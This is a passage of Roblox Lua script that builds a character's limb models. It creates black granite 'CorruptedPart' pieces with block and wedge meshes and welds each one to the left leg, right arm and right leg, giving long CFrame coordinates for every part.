Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(0.3841483, -0.516796231, -0.40962553, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000012, 0.200000003),CFrame = CFrame.new(2.69002914, 0.915953577, 0.851962805, 0.999971032, 0.0011022269, -0.00980960391, -0.00109704852, 1.00001776, 0.000537177373, 0.00981036108, -0.000526409131, 0.999942601),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999951303, -0.0010970087, 0.00981015898, 0.00110222446, 0.999999166, -0.000526388001, -0.00980970077, 0.00053719338, 0.99995172),C1 = CFrame.new(0.400011122, -0.399985313, 0.400013685, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000012, 0.200000003),CFrame = CFrame.new(1.88013721, 0.900040269, 1.65993917, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.415866137, -0.41721642, -0.40188694, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(1.88013721, 0.600035727, 1.25993288, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.0157161951, -0.717007458, -0.405481935, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.28007793, 0.700037479, 1.65993929, 1.00001967, -3.84054147e-007, 3.90969217e-006, 6.35045581e-007, 1.00001717, -5.60838998e-007, -6.19795173e-006, 9.32147486e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 6.5424797e-007, -6.48946025e-006, -3.64865258e-007, 0.999998629, 9.58411874e-007, 3.61912225e-006, -5.34497644e-007, 0.999998629),C1 = CFrame.new(-0.411835551, -0.616776347, -0.00175023079, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 1.20000005, 0.200000003),CFrame = CFrame.new(2.68018699, 1.10004401, 1.65993941, 1.00001967, -3.84054147e-007, 3.90969217e-006, 6.35045581e-007, 1.00001717, -5.60838998e-007, -6.19795173e-006, 9.32147486e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 6.5424797e-007, -6.48946025e-006, -3.64865258e-007, 0.999998629, 9.58411874e-007, 3.61912225e-006, -5.34497644e-007, 0.999998629),C1 = CFrame.new(-0.408125639, -0.216332912, 0.397896528, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(2.68596959, 0.816166699, 1.25195313, 0.999971032, 0.0011022269, -0.00980960391, -0.00109704852, 1.00001776, 0.000537177373, 0.00981036108, -0.000526409131, 0.999942601),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999951303, -0.0010970087, 0.00981015898, 0.00110222446, 0.999999166, -0.000526388001, -0.00980970077, 0.00053719338, 0.99995172),C1 = CFrame.new(5.20944595e-005, -0.499986172, 0.399987936, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
ScatterEff(EffCorruptedPart)
RightArm = New("Model",chara,"RightArm",{})
MainPart = New("Part",RightArm,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.011096, 6.31690788, -3.92582893, 0.00918400101, -0.262283146, 0.964947343, 0.259330034, 0.932596445, 0.251021653, -0.965745091, 0.247934431, 0.0765828639),CanCollide = false,})
Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Right Arm"],C0 = CFrame.new(0, 0, 0, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),C1 = CFrame.new(-2.86102295e-006, -9.05990601e-006, -2.38418579e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
Hitbox = New("Part",RightArm,"Hitbox",{BrickColor = BrickColor.new("Really black"),Transparency = 1,Transparency = 1,Size = Vector3.new(1, 4, 1),CFrame = CFrame.new(22.2733669, 5.0842762, -22.1737366, -0.964945257, -0.262290984, 0.00919180829, -0.251027077, 0.93259424, 0.259333313, -0.0765930116, 0.247935042, -0.965744138),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Weld = New("ManualWeld",Hitbox,"Weld",{Part0 = Hitbox,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945257, -0.251027077, -0.0765930116, -0.262290984, 0.93259424, 0.247935042, 0.00919180829, 0.259333313, -0.965744138),C1 = CFrame.new(-1.52587891e-005, -1.00003147, -1.71661377e-005, 0.0091838371, 0.259330064, -0.965745151, -0.262283117, 0.932596445, 0.247934505, 0.964947283, 0.251021653, 0.0765827149),})
CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.011096, 6.3169179, -3.92581391, -0.964945257, -0.262290984, 0.00919180829, -0.251027077, 0.93259424, 0.259333313, -0.0765930116, 0.247935042, -0.965744138),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945138, -0.251027018, -0.0765930042, -0.262290984, 0.932594121, 0.247935027, 0.00919180084, 0.259333313, -0.965744197),C1 = CFrame.new(-1.1920929e-005, 1.28746033e-005, 3.57627869e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.600000024, 0.400000036),CFrame = CFrame.new(2.14866924, 6.03215551, -4.72580194, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.699988842, -0.499982834, 7.62939453e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1.20000005, 0.600000024),CFrame = CFrame.new(2.63876629, 4.02682734, -4.32773018, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(-0.199987888, -2.39999342, 3.02791595e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 0.600000024),CFrame = CFrame.new(1.62134135, 7.81954479, -3.94021821, 0.964945078, -0.262291819, -0.00918725226, 0.251029015, 0.932593465, -0.259333432, 0.0765890032, 0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.964944899, 0.251028955, 0.0765889958, -0.262291819, 0.932593465, 0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.399995804, 1.5000124, -2.38418579e-007, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.600000024, 0.400000036),CFrame = CFrame.new(2.35483098, 5.18234444, -4.53787422, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.300010204, -1.29999256, 1.40666962e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 0.600000024),CFrame = CFrame.new(1.88730097, 6.99068737, -4.57445002, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.799996853, 0.50001812, 4.29153442e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.800000072, 0.600000024),CFrame = CFrame.new(2.37646794, 4.9594202, -4.07979012, -0.964945316, -0.262290984, 0.00918756705, -0.251028091, 0.932593942, 0.259333163, -0.0765890256, 0.247935995, -0.965744197),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945138, -0.251028031, -0.0765890107, -0.262290955, 0.932593882, 0.247935966, 0.0091875596, 0.259333193, -0.965744257),C1 = CFrame.new(-0.199994564, -1.39999104, 1.52587891e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
RightLeg = New("Model",chara,"RightLeg",{})
MainPart = New("Part",RightLeg,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.29641008, 1.31540966, 0.248092994, 0.00933599845, 0.00110999751, 0.999955773, -0.0030579993, 0.999994755, -0.00108149007, -0.99995178, -0.0030477671, 0.00933934376),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,})
Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Right Leg"],C0 = CFrame.new(0, 0, 0, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),C1 = CFrame.new(2.98023224e-008, -8.58306885e-006, 2.38418579e-007, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(2.70045996, 1.61376095, -0.149078026, 0.999955833, 0.00111049914, -0.0093326522, -0.00108199986, 0.999994755, 0.00305823679, 0.00933599938, -0.00304800388, 0.999951839),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955893, -0.00108199986, 0.00933599938, 0.00111049926, 0.999994755, -0.00304800388, -0.0093326522, 0.00305823679, 0.99995178),C1 = CFrame.new(0.400011688, 0.300008655, 0.400000095, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.90071809, 1.81462395, -0.157150015, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(0.400002658, 0.50000751, -0.399999142, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000036, 0.200000003),CFrame = CFrame.new(1.896873, 1.71584904, 0.243133992, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(4.14252281e-006, 0.400008917, -0.399998784, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000072, 0.200000003),CFrame = CFrame.new(1.89314091, 1.71706903, 0.643112063, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(-0.399993181, 0.400005698, -0.399996519, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
EffCorruptedPart = New("Part",RightLeg,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1.20000005, 1),CFrame = CFrame.new(2.29597116, 0.915416002, 0.249298006, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(1.41263008e-005, -0.399995744, 5.00679016e-006, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
